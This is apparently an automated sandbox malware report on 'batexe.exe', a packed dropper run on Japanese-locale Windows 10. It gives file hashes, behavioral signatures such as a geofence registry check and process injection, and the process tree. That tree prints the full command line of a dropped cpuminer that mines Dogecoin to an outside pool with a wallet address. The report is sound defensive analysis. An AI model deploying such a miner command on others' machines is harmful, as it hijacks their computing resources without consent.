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Analysis
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max time kernel
297s -
max time network
300s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
14/02/2024, 11:14
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231220-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 1076 b2e.exe 884 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 884 cpuminer-sse2.exe 884 cpuminer-sse2.exe 884 cpuminer-sse2.exe 884 cpuminer-sse2.exe 884 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/3460-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3460 wrote to memory of 1076 3460 batexe.exe 83 PID 3460 wrote to memory of 1076 3460 batexe.exe 83 PID 3460 wrote to memory of 1076 3460 batexe.exe 83 PID 1076 wrote to memory of 4680 1076 b2e.exe 84 PID 1076 wrote to memory of 4680 1076 b2e.exe 84 PID 1076 wrote to memory of 4680 1076 b2e.exe 84 PID 4680 wrote to memory of 884 4680 cmd.exe 87 PID 4680 wrote to memory of 884 4680 cmd.exe 87
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3460 -
C:\Users\Admin\AppData\Local\Temp\9D88.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\9D88.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9D88.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A587.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:884
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
12.6MB
MD53213d587c2a04cd424a3947b0fa5c6cd
SHA14cadd189652a7929af3ba2331bcdd16ef9eec6b0
SHA256fe936471f1d2c323666984b931ae960a435fb3540d0e1b451f64d48f8921ff58
SHA512d8fef5c7d408c4725cff1838af74e25335dedd588a33791ffab5c5d2e08a5144f0d6e94fdae9b6510ba792f50f0a16e39b64877047ca2618d8f46bddb7fa329e
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Filesize
896KB
MD51f22d8bf5f6c3dda3e880ea1ba0417d4
SHA12a8dbf2319999a894714bdea650eb5be32c64c19
SHA256afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96
SHA512217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05
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Filesize
1.6MB
MD54b3e3a3f84660472fb9714cd8feaba1b
SHA18561afb6ae0a1ab8a4d8364928811b66fcaf9da9
SHA256006513b9e4310066d4cb66a1ea11b6619c10e428f5a1ccc39eab92e1d487f442
SHA512a4ccf4de38da8d27dd065ef09b81a4bca708188c6102211faaa186ddd8f68b87381611da54cb6098758733c799e2a3450cb5cae66b58c29a4264d93f93a1edc2
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
64KB
MD57fcedb6e973c5df3b6652a2afafa6a13
SHA1116728803559ab58a8127544df80b75a0dd1c6d2
SHA256fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825
SHA51205c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd
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Filesize
10.5MB
MD5cb27a3b1beae3fdbb9c3bd376d7650a6
SHA195ba65a8df68018d8d906819250136bfb03c8d40
SHA256f14693dc509fd253db8583187298c15bfbe40ff9204bcc520b38156e594ad6e3
SHA512d19438f4ffbd4585138b254a0f11628cb6571b60049d9f7f6ae6b2e4bb53889fd96e3fa7cd04491b9e757a899cc381dd19ee70214f577529c77d948ae88b6bd3
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Filesize
13.6MB
MD5591729e26ee7ccf8bd6508a5fbbaf723
SHA10c5b39bf5b0ccbb5c2fcb75bd0d864b7902b2d6c
SHA25649fd5cfec0009ad54d0f0a3cd58ac3c9946071254183835d99bd549246eb7565
SHA512ab93864b930376b92e74540180bada8834eb57ed5452dd8c7a1f2d00a58cbf7ba1d204b878ec4f3010e9490cf9a9711bb261a3487938cad7bacf2b5fd31021aa
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Filesize
11.9MB
MD5b6ef1eda19f20340186e335a4420fb4e
SHA17b88260d225196440fc0f57c7e5ebbec1fb6b977
SHA256ddb7206652e45435977ff7a830946cf950f39b8d12bf169a86da09675cb31310
SHA512d323e0b305d897eeb04a127da8b8c9e8aa65c7b31f4240c05bbee261e1c9ef706eaff9e7bd2b089a3d9c80165f746d5e884a03423c658b331fd8eb9bd44fd09f
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770